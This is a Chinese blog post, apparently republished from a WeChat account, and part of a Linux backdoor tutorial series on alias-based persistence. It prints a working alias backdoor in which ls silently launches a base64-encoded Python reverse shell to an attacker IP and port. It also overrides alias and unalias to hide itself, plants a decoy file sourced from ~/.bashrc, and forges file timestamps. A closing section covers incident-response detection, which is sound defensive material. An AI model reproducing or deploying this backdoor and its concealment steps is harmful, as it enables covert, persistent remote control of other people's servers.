LINUX留后门教程(七)—— alias 后门

admin 2022年8月28日09:20:53评论23 views字数 5718阅读19分3秒阅读模式

一、 alias 简介

alias 命令的功能: 为命令设置别名。

比如: 每次输入 ls 命令的时候都能实现 ls -al

alias ls = 'ls -al'

注意: 对于通过ssh远程登录的用户来说,每次设置只在本次连接过程中有效,下次再进行登录的时候就不会这样了。

二、 alias 使用方法

2.1 系统默认的别名

系统中存在一些默认的别名,直接输入 alias 或者 alias -p 可以进行查看

LINUX留后门--教程(七)—— alias 后门

这里有我们熟悉的 ll 命令,这个命令的真实含义其实是 ls -alF

LINUX留后门--教程(七)—— alias 后门

可以看到我们可以直接执行 ll 来短缩命令的长度

2.2 别名的设置与查看

查看别名
如果我们只想实现查看一个别名的含义,可以直接使用 alias cmd ,以 ll 命令为例

LINUX留后门--教程(七)—— alias 后门

设置别名
例: 设置一个别名 alias getpwd = 'cat /etc/passwd'

LINUX留后门--教程(七)—— alias 后门

删除别名
unalias 别名

unalias getpwd

LINUX留后门--教程(七)—— alias 后门

2.3 默认的别名是怎么出现的?

在 ~/.bashrc 配置文件中

cat ~/.bashrc|grep alias

LINUX留后门--教程(七)—— alias 后门

同时,普通账户也存在 .bashrc 文件

LINUX留后门--教程(七)—— alias 后门

注意:
系统启动默认加载的配置文件,比如:/etc/profile 、 /etc/bashrc 、~/.bashrc、~/.bash_profile 、~/.profile 、~/.bash_logout

/etc/profile

【系统级】 Linux是一个多用户操作系统。用户登录或切换(即Login shell 启动)时都有一个专用的运行环境,但首先执行 /etc/profile

/etc/bashrc

【系统级】 在 bash shell 打开时运行,修改该文件配置的环境变量将会影响所有用户使用的bash shell

~/.bashrc

【用户级】 当用户登录时以及每次打开新的shell时该文件都将被读取,不推荐在这里配置用户专用的环境变量,因为每开一个shell,该文件都会被读取一次,效率肯定受影响

~/.bash_profile && ~./bash_login

【用户级】
如果有其中的一个文件存在的话, 当启动的是一个登录shell时,Bash 会执行该文件而不会执行~/.profile
如果两个文件都存在的话,Bash 将会优先执行~/.bash_profile 而不是~/.bash_login

~/.bash_logout

【用户级】 当每次退出系统(退出bash shell)时执行该文件


三、 alias 后门

前提条件: 假设在攻击的过程中通过利用各种getshell,已经拿到目标服务器root权限
靶机 IP: 192.168.241.142 (Ubuntu)
攻击IP: 192.168.241.128 (kali)


3.1 alias 的特点

1、alias 在设置 ls=“xxxx” 中,设置别名和设置变量很相似,都是可以进行传递的

alias ls='ls --color=auto' //设置别名

LINUX留后门--教程(七)—— alias 后门

alias lstest="ls" //给别名再设置别名

LINUX留后门--教程(七)—— alias 后门

alias ls='ls --color=auto;pwd'//设置别名时加入参数

LINUX留后门--教程(七)—— alias 后门

2、alias 不支持参数传递,只有函数才支持参数传递

alias ls='func(){ ls $1 --color=auto;pwd;};func'

LINUX留后门--教程(七)—— alias 后门


3.1 alias 后门

根据 alias 特点制作后门

后门命令:

alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'''UTF-8''')}[sys.version_info[0]]('''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTkyLjE2OC4yNDEuMTI4IiwgNjY2NikpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAwKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMSkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDIpCiAgICAgICAgcCA9IHN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCAiLWkiXSkKICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICBleGl0KCk=''')))";};alerts'
alias unalias='alerts(){ if [ $# != 0 ]; then if [ $* != "ls" ]&&[ $* != "alias" ]&&[ $* != "unalias" ]; then unalias $*;else echo "-bash: unalias: ${*}: not found";fi;else echo "unalias: usage: unalias [-a] name [name ...]";fi;};alerts'
alias alias='alerts(){ alias "$@" | grep -v unalias | sed "s/alerts.*lambda.*/ls --color=auto'''/";};alerts'

执行完命令之后,输入 ls 命令查询,就会触发后门,但是ls查询的结果跟正常的 ls 命令一摸一样,检查不出来异常

LINUX留后门--教程(七)—— alias 后门

但是此时后门已经触发,反弹 shell 到 kali 了

LINUX留后门--教程(七)—— alias 后门

此时可以查看一下 ubutu的 连接,确实与192.168.241.128的6666端口建立连接,alias 后门执行成功

netstat -anpt 

LINUX留后门--教程(七)—— alias 后门

base64解密后的内容:

import os,socket,subprocess;ret = os.fork()if ret > 0:    exit()else:    try:        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)        s.connect(("192.168.241.128", 6666))        os.dup2(s.fileno(), 0)        os.dup2(s.fileno(), 1)        os.dup2(s.fileno(), 2)        p = subprocess.call(["/bin/sh", "-i"])    except Exception as e:        exit()


3.2 alias 后门隐藏

目标: 隐藏起来,并且能够让所有登录的人直接就中招

那么,肯定是离不开开机自启的程序或者配置文件了,但是常见的几个文件,比如: /etc/profile 、 /etc/bashrc 、~/.bashrc 、~/.bash_profile 、~/.profile、~/.bash_logout,因为大家都知道了,不太隐蔽

所以选择 ~/.bash_aliases 文件,默认不会有,但是在 ~/.bashrc 中默认加载


第一步: 查看目录 /etc/update-manager/ 如图所示,默认就含有下图这几个文件,那么我们可以增加一个有迷惑性的目录和文件名,之后设置加载

LINUX留后门--教程(七)—— alias 后门


第二步: 增加一个文件 release-update 内容如下图所示:

LINUX留后门--教程(七)—— alias 后门

alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'''UTF-8''')}[sys.version_info[0]]('''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTkyLjE2OC4yNDEuMTI4IiwgNjY2NikpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAwKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMSkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDIpCiAgICAgICAgcCA9IHN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCAiLWkiXSkKICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICBleGl0KCk=''')))";};alerts'
alias unalias='alerts(){ if [ $# != 0 ]; then if [ $* != "ls" ]&&[ $* != "alias" ]&&[ $* != "unalias" ]; then unalias $*;else echo "-bash: unalias: ${*}: not found";fi;else echo "unalias: usage: unalias [-a] name [name ...]";fi;};alerts'
alias alias='alerts(){ alias "$@" | grep -v unalias | sed "s/alerts.*lambda.*/ls --color=auto'''/";};alerts'

增加完 release-update 文件之后,查看该目录如下图所示,新增加的文件就像系统本身文件,很有迷惑性。

LINUX留后门--教程(七)—— alias 后门


第三步: 将 release-update 文件插进 ~/.bashrc 自启动程序中
~/.bashrc 文件默认内容

cat ~/.bashrc

LINUX留后门--教程(七)—— alias 后门

在 ~/.bashrc 文件最后面添加内容:

#enable software update with apt#See /etc/apt/source.d/ in the apt package.if [ -f /etc/update-manager/release-update ]; then    . /etc/update-manager/release-updatefi

添加完之后,保存 ~/.bashrc 文件

LINUX留后门--教程(七)—— alias 后门

但是新建的 release-update 文件,用 stat 一看就看出来了,所以要修改后门文件的时间与同目录名称相似的文件的 时间相同

stat /etc/update-manager/release-updatesudo touch -acmr /etc/update-manager/release-upgrades /etc/update-manager/release-update

LINUX留后门--教程(七)—— alias 后门


第四步: 触发后门,验证后门
在 kali 上 ssh 远程登录 ubuntu 靶机

ssh zyr@192.168.241.142

成功登录后,执行 命令 ls 就会触发后门

LINUX留后门--教程(七)—— alias 后门

nc监听 6666 端口,成功接收反弹回来的 shell

LINUX留后门--教程(七)—— alias 后门


四、alias 后门——应急响应发现


第一步:查看所有连接
发现与 192.168.241.128:6666 的异常连接,应该是反弹的shell连接

netstat -anpt

LINUX留后门--教程(七)—— alias 后门


第二步:通过PID查看异常连接的进程,以及该进程正在执行的命令行命令

ps aux |grep 7737

LINUX留后门--教程(七)—— alias 后门

查看 PID 为7737的 PPID,发现是1

LINUX留后门--教程(七)—— alias 后门


第三步:查看别名
发现了异常别名

LINUX留后门--教程(七)—— alias 后门


使用命令unalias alert 可以删除别名,但是下一次 ssh 远程登录该服务器,又会重新出现该别名,如上图所示,猜测可能 alias 后门

写进了 系统的启动程序和配置文件中,比如: /etc/profile 、 /etc/bashrc 、~/.bashrc 、~/.bash_profile 、~/.profile、~/.bash_logout才会导致,每次登录服务器就会重新触发 alias 后门


第四步:
那么检查这些启动程序和配置文件是否被篡改

stat ~/.bash_profile stat /etc/profile .......

LINUX留后门--教程(七)—— alias 后门

通过检查文件被修改的时间可以看出,只有 ~/.bashrc 文件的修改日期是最近的日期,其它的日期时间都很久


第五步:
把 ~/.bashrc 文件下载下来与一个正常的 ~/.bashrc 文件进行对比,对比之后确实发现异常,被修改的部分如下所示

LINUX留后门--教程(七)—— alias 后门

根据在被篡改过的 ~/.bashrc 文件 发现的新增加的内容线索

```bash#enable software update with apt#See /etc/apt/source.d/ in the apt package.if [ -f /etc/update-manager/release-update ]; then    . /etc/update-manager/release-updatefi

查找 /etc/update-manager/release-update 文件,看看是啥?

cat  /etc/update-manager/release-update

看下图所示,base64解密之后,正是 alias 后门文件

LINUX留后门--教程(七)—— alias 后门

LINUX留后门--教程(七)—— alias 后门

参考链接:https://cloud.tencent.com/developer/article/1683267


更多资源:

1、web安全工具、渗透测试工具
2、存在漏洞的网站源码与代码审计+漏洞复现教程、
3、渗透测试学习视频、应急响应学习视频、代码审计学习视频、都是2019-2021年期间的较新视频
4、应急响应真实案例复现靶场与应急响应教程

收集整理在知识星球,可加入知识星球进行查看。也可搜索关注微信公众号:W小哥

LINUX留后门--教程(七)—— alias 后门



原文始发于微信公众号(W小哥):LINUX留后门--教程(七)—— alias 后门

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年8月28日09:20:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   LINUX留后门教程(七)—— alias 后门http://cn-sec.com/archives/887907.html

发表评论

匿名网友 填写信息